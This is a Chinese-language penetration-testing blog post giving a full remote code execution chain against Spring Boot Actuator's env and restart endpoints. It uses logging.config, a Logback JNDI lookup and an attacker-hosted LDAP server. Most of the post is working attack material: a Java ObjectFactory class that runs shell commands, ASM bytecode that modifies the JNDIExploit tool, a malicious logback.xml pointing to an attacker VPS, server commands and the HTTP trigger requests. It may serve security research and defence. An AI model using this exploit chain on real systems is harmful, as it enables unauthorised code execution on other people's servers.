spring actuator restart logging.config rce

spring actuator`相关的漏洞利用链公布不少了,不过都有些条件限制。我抽时间看了看 spring boot 的一些常见 properties 配置项,希望能发现一些触发条件没那么苛刻的漏洞利用方法,也发现了一些新的 RCE 方法

0x00: 前言

spring actuator 相关的漏洞利用链公布不少了,不过都有些条件限制。

我抽时间看了看 spring boot 的一些常见 properties 配置项,希望能发现一些触发条件没那么苛刻的漏洞利用方法,也发现了一些新的 RCE 方法(目前看也是有条件限制 >_<)。

本着技术交流的目的,拿其中一个分享下,其他条件比较多的利用方法我可能会抽时间写到 SpringBootVulExploit 项目里。

0x01: 利用限制

spring actuator 目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator 前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator 大版本的相关度差别不大,下文统一用 2.x 版本举例。

spring actuator 触发漏洞相关的内置路由,比如 /actuator/env 容易被误启用,但是 /actuator/restart 路由开启的情况比较少,

  1. spring actuator 1.x 开启 restart 需要配置:
  2. endpoints.restart.enabled=true
  3. spring actuator 2.x 开启 restart 需要配置:
  4. management.endpoint.restart.enabled=true

这个漏洞利用方法正式一点的名称应该叫 spring actuator restart logging.config logback jndi rce,都是利用一些已知条件堆起来的,主要利用方法和 jolokia-logback-jndi-rce 相差不大,所以需要的条件也基本类似。

另外顺便提一句,JNDI 注入环境在存在相关 tomcat 版本的话,可以用 javax.el.ELProcessor 作为 Reference Factory 来绕过高版本 JDK 的限制。

0x02: 漏洞原理

logging.config 配置项用来指定 Logback 组件的日志配置文件位置,通过 /actuator/env 配置恶意远程日志地址,如 http://your-vps-ip/logback.xml 后,请求 /actuator/restart 会触发该漏洞。

感兴趣的师傅可以把 debug 断点设置在 logback-classic-1.2.3-sources.jar!/ch/qos/logback/classic/util/JNDIUtil.java 文件 38 行左右的代码处

  1. Object lookup = ctx.lookup(name);

触发漏洞后查看调用栈。

jolokia-logback-jndi-rce 不同的是,如果 jndi 返回的 object 没有实现 javax.naming.spi.ObjectFactory 接口,restart 触发漏洞后应用程序会直接报错退出。

其他通过 restart 触发的漏洞也有类似报错退出的问题,所以利用时要比较小心。

0x03: 漏洞利用

一:准备要执行的 Java 代码

可以配合 marshalsec ,自己编写一个实现 javax.naming.spi.ObjectFactory 接口的类进行使用,比如

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import javax.naming.Context;
  7. import javax.naming.Name;
  8. import java.io.File;
  9. import java.io.IOException;
  10. import java.util.Hashtable;
  11. public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
  12. private static String cmd = "open -a Calculator";
  13. public CommandRaw() {
  14. String[] var1;
  15. if (File.separator.equals("/")) {
  16. var1 = new String[]{"/bin/bash", "-c", cmd};
  17. } else {
  18. var1 = new String[]{"cmd", "/C", cmd};
  19. }
  20. try {
  21. Runtime.getRuntime().exec(var1);
  22. } catch (IOException var3) {
  23. var3.printStackTrace();
  24. }
  25. }
  26. public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
  27. }
  28. public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
  29. }
  30. @Override
  31. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
  32. return new Object();
  33. }
  34. }

编译好 class 后放到 web 网站根目录下。然后用 marshalsec 启动对应的 ldap 服务。

弱对抗环境下,也可以直接用其他师傅集成的工具,比如 JNDIExploit

为了让程序不抛错退出,需要针对性的修改用到的代码,比如修改 JNDIExploit/src/main/java/com/feihong/ldap/template/CommandTemplate.java 文件,让其返回的 class 字节码继承 javax.naming.spi.ObjectFactory 接口。

比如用下面的代码替换原来 CommandTemplate.java 文件中的 generate 方法:

  1. public void generate(){
  2. ClassWriter cw = new ClassWriter(0);
  3. FieldVisitor fv;
  4. MethodVisitor mv;
  5. AnnotationVisitor av0;
  6. cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{"javax/naming/spi/ObjectFactory"});
  7. {
  8. fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null);
  9. fv.visitEnd();
  10. }
  11. {
  12. mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
  13. mv.visitCode();
  14. Label l0 = new Label();
  15. Label l1 = new Label();
  16. Label l2 = new Label();
  17. mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
  18. Label l3 = new Label();
  19. mv.visitLabel(l3);
  20. mv.visitLineNumber(19, l3);
  21. mv.visitVarInsn(ALOAD, 0);
  22. mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
  23. Label l4 = new Label();
  24. mv.visitLabel(l4);
  25. mv.visitLineNumber(21, l4);
  26. mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
  27. mv.visitLdcInsn("/");
  28. mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
  29. Label l5 = new Label();
  30. mv.visitJumpInsn(IFEQ, l5);
  31. Label l6 = new Label();
  32. mv.visitLabel(l6);
  33. mv.visitLineNumber(22, l6);
  34. mv.visitInsn(ICONST_3);
  35. mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
  36. mv.visitInsn(DUP);
  37. mv.visitInsn(ICONST_0);
  38. mv.visitLdcInsn("/bin/sh");
  39. mv.visitInsn(AASTORE);
  40. mv.visitInsn(DUP);
  41. mv.visitInsn(ICONST_1);
  42. mv.visitLdcInsn("-c");
  43. mv.visitInsn(AASTORE);
  44. mv.visitInsn(DUP);
  45. mv.visitInsn(ICONST_2);
  46. mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
  47. mv.visitInsn(AASTORE);
  48. mv.visitVarInsn(ASTORE, 1);
  49. Label l7 = new Label();
  50. mv.visitLabel(l7);
  51. mv.visitJumpInsn(GOTO, l0);
  52. mv.visitLabel(l5);
  53. mv.visitLineNumber(24, l5);
  54. mv.visitFrame(F_FULL, 1, new Object[]{className}, 0, new Object[]{});
  55. mv.visitInsn(ICONST_3);
  56. mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
  57. mv.visitInsn(DUP);
  58. mv.visitInsn(ICONST_0);
  59. mv.visitLdcInsn("cmd");
  60. mv.visitInsn(AASTORE);
  61. mv.visitInsn(DUP);
  62. mv.visitInsn(ICONST_1);
  63. mv.visitLdcInsn("/C");
  64. mv.visitInsn(AASTORE);
  65. mv.visitInsn(DUP);
  66. mv.visitInsn(ICONST_2);
  67. mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
  68. mv.visitInsn(AASTORE);
  69. mv.visitVarInsn(ASTORE, 1);
  70. mv.visitLabel(l0);
  71. mv.visitLineNumber(28, l0);
  72. mv.visitFrame(F_APPEND, 1, new Object[]{"[Ljava/lang/String;"}, 0, null);
  73. mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
  74. mv.visitVarInsn(ALOAD, 1);
  75. mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
  76. mv.visitInsn(POP);
  77. mv.visitLabel(l1);
  78. mv.visitLineNumber(31, l1);
  79. Label l8 = new Label();
  80. mv.visitJumpInsn(GOTO, l8);
  81. mv.visitLabel(l2);
  82. mv.visitLineNumber(29, l2);
  83. mv.visitFrame(F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"});
  84. mv.visitVarInsn(ASTORE, 2);
  85. Label l9 = new Label();
  86. mv.visitLabel(l9);
  87. mv.visitLineNumber(30, l9);
  88. mv.visitVarInsn(ALOAD, 2);
  89. mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
  90. mv.visitLabel(l8);
  91. mv.visitLineNumber(33, l8);
  92. mv.visitFrame(F_SAME, 0, null, 0, null);
  93. mv.visitInsn(RETURN);
  94. Label l10 = new Label();
  95. mv.visitLabel(l10);
  96. mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l7, l5, 1);
  97. mv.visitLocalVariable("var3", "Ljava/io/IOException;", null, l9, l8, 2);
  98. mv.visitLocalVariable("this", "L" + className + ";", null, l3, l10, 0);
  99. mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l0, l10, 1);
  100. mv.visitMaxs(4, 3);
  101. mv.visitEnd();
  102. }
  103. {
  104. mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
  105. mv.visitCode();
  106. Label l0 = new Label();
  107. mv.visitLabel(l0);
  108. mv.visitLineNumber(36, l0);
  109. mv.visitInsn(RETURN);
  110. Label l1 = new Label();
  111. mv.visitLabel(l1);
  112. mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
  113. mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
  114. mv.visitLocalVariable("var2", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
  115. mv.visitMaxs(0, 3);
  116. mv.visitEnd();
  117. }
  118. {
  119. mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
  120. mv.visitCode();
  121. Label l0 = new Label();
  122. mv.visitLabel(l0);
  123. mv.visitLineNumber(39, l0);
  124. mv.visitInsn(RETURN);
  125. Label l1 = new Label();
  126. mv.visitLabel(l1);
  127. mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
  128. mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
  129. mv.visitLocalVariable("var2", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
  130. mv.visitLocalVariable("var3", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
  131. mv.visitMaxs(0, 4);
  132. mv.visitEnd();
  133. }
  134. {
  135. mv = cw.visitMethod(ACC_PUBLIC, "getObjectInstance", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable;)Ljava/lang/Object;", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable<**>;)Ljava/lang/Object;", new String[]{"java/lang/Exception"});
  136. mv.visitCode();
  137. Label l0 = new Label();
  138. mv.visitLabel(l0);
  139. mv.visitLineNumber(43, l0);
  140. mv.visitTypeInsn(NEW, "java/lang/Object");
  141. mv.visitInsn(DUP);
  142. mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
  143. mv.visitInsn(ARETURN);
  144. Label l1 = new Label();
  145. mv.visitLabel(l1);
  146. mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
  147. mv.visitLocalVariable("obj", "Ljava/lang/Object;", null, l0, l1, 1);
  148. mv.visitLocalVariable("name", "Ljavax/naming/Name;", null, l0, l1, 2);
  149. mv.visitLocalVariable("nameCtx", "Ljavax/naming/Context;", null, l0, l1, 3);
  150. mv.visitLocalVariable("environment", "Ljava/util/Hashtable;", "Ljava/util/Hashtable<**>;", l0, l1, 4);
  151. mv.visitMaxs(2, 5);
  152. mv.visitEnd();
  153. }
  154. {
  155. mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
  156. mv.visitCode();
  157. Label l0 = new Label();
  158. mv.visitLabel(l0);
  159. mv.visitLineNumber(17, l0);
  160. mv.visitLdcInsn(cmd);
  161. mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;");
  162. mv.visitInsn(RETURN);
  163. mv.visitMaxs(1, 0);
  164. mv.visitEnd();
  165. }
  166. cw.visitEnd();
  167. bytes = cw.toByteArray();
  168. }

编译好程序后,就可以用命令开启 ldap 服务:

  1. java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
二:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器

  1. python2 -m SimpleHTTPServer 80
  2. python3 -m http.server 80

在根目录放置以 xml 结尾的文件,比如 logback.xml,示例如下:

  1. <configuration>
  2. <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
  3. </configuration>
三:触发漏洞
  1. POST /actuator/env HTTP/1.1
  2. Content-Type: application/json
  3. {"name": "logging.config", "value": "http://your-vps-ip/logback.xml"}
  4. POST /actuator/restart HTTP/1.1
  5. Content-Type: application/json
  6. Content-Length: 0

文章首发在自己博客,原文地址为:https://landgrey.me/blog/21/

  • 发表于 2021-04-16 15:25:53
  • 阅读 ( 7506 )
  • 分类:渗透测试

0 条评论

LandGrey
LandGrey

5 篇文章

站长统计